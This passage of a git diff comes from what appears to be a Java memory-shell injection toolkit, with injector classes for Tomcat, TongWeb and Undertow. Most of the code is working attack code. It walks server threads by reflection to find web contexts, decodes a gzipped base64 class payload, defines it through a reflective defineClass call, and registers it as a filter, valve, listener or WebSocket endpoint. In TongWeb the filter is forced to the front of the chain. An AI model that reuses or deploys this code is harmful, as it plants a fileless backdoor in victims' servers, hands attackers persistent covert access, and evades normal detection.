Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -70,31 +107,6 @@ public class TomcatValveInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader(); ClassLoader classLoader = context.getClass().getClassLoader();
@@ -0,0 +1,286 @@
package com.reajason.javaweb.memshell.injector.tomcat;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/1/13
*/
public class TomcatWebSocketByPassInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public TomcatWebSocketByPassInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
clazz = defineShell(classLoader, getBase64String());
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
private Class<?> defineShell(ClassLoader classLoader, String base64) throws Exception {
byte[] clazzByte = gzipDecompress(decodeBase64(base64));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
return ((Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length));
}
@SuppressWarnings("unchecked")
private void inject(Object context, Object obj) throws Exception {
Object servletContext = invokeMethod(context, "getServletContext", null, null);
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
if (container == null) {
container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
}
if (container == null) {
throw new RuntimeException("container is null");
}
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
return;
}
Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance();
Object pipeline = invokeMethod(context, "getPipeline", null, null);
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
ClassLoader contextClassLoader = context.getClass().getClassLoader();
Class<?> serverEndpointConfigClass;
Class<?> builderClass;
try {
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
} catch (ClassNotFoundException e) {
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
}
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
constructor.setAccessible(true);
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
Object endpointConfig = invokeMethod(o1, "build", null, null);
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -7,7 +7,9 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -41,7 +43,7 @@ public class TomcatWebSocketInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -59,6 +61,43 @@ public class TomcatWebSocketInjector {
System.out.println(msg); System.out.println(msg);
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -76,31 +115,6 @@ public class TomcatWebSocketInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -43,7 +44,7 @@ public class TongWebFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -116,7 +117,7 @@ public class TongWebFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -149,24 +150,28 @@ public class TongWebFilterInjector {
String filterClassName = getClassName(); String filterClassName = getClassName();
Object filterDef; Object filterDef;
Object filterMap; Object filterMap;
Class<?> filterMapClass;
Constructor<?> constructor; Constructor<?> constructor;
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
try { try {
// tongweb 7 // tongweb 7
constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e2) { } catch (Exception e2) {
try { try {
// tongweb 6 // tongweb 6
constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e) { } catch (Exception e) {
// tongweb 8 // tongweb 8
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} }
} }
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
@@ -174,7 +179,13 @@ public class TongWebFilterInjector {
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
// addFilterMapFirst
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
constructor.setAccessible(true); constructor.setAccessible(true);
Object filterConfig = constructor.newInstance(context, filterDef); Object filterConfig = constructor.newInstance(context, filterDef);
@@ -221,48 +232,58 @@ public class TongWebFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try { try {
Field field = clazz.getDeclaredField(name); if (paramClazz == null) {
field.setAccessible(true); method = clazz.getDeclaredMethod(methodName);
return field.get(obj); } else {
} catch (NoSuchFieldException var5) { method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) { private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null; PrintStream printStream = null;
@@ -35,7 +35,7 @@ public class TongWebListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -96,7 +96,7 @@ public class TongWebListenerInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -218,30 +218,25 @@ public class TongWebListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -35,7 +35,7 @@ public class TongWebValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -7,7 +7,10 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -40,7 +43,7 @@ public class UndertowFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -75,6 +78,7 @@ public class UndertowFilterInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
@SuppressWarnings("Duplicates")
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -129,6 +133,8 @@ public class UndertowFilterInjector {
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null); Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST}); invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
// invalidate cache
invokeMethod(invokeMethod(deploymentImpl, "getServletPaths", null, null), "invalidate", null, null);
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
@@ -213,30 +219,25 @@ public class UndertowFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet; import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
@@ -40,7 +38,7 @@ public class UndertowListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -191,30 +189,25 @@ public class UndertowListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -5,11 +5,8 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet; import java.util.HashSet;
import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -44,7 +41,7 @@ public class UndertowServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
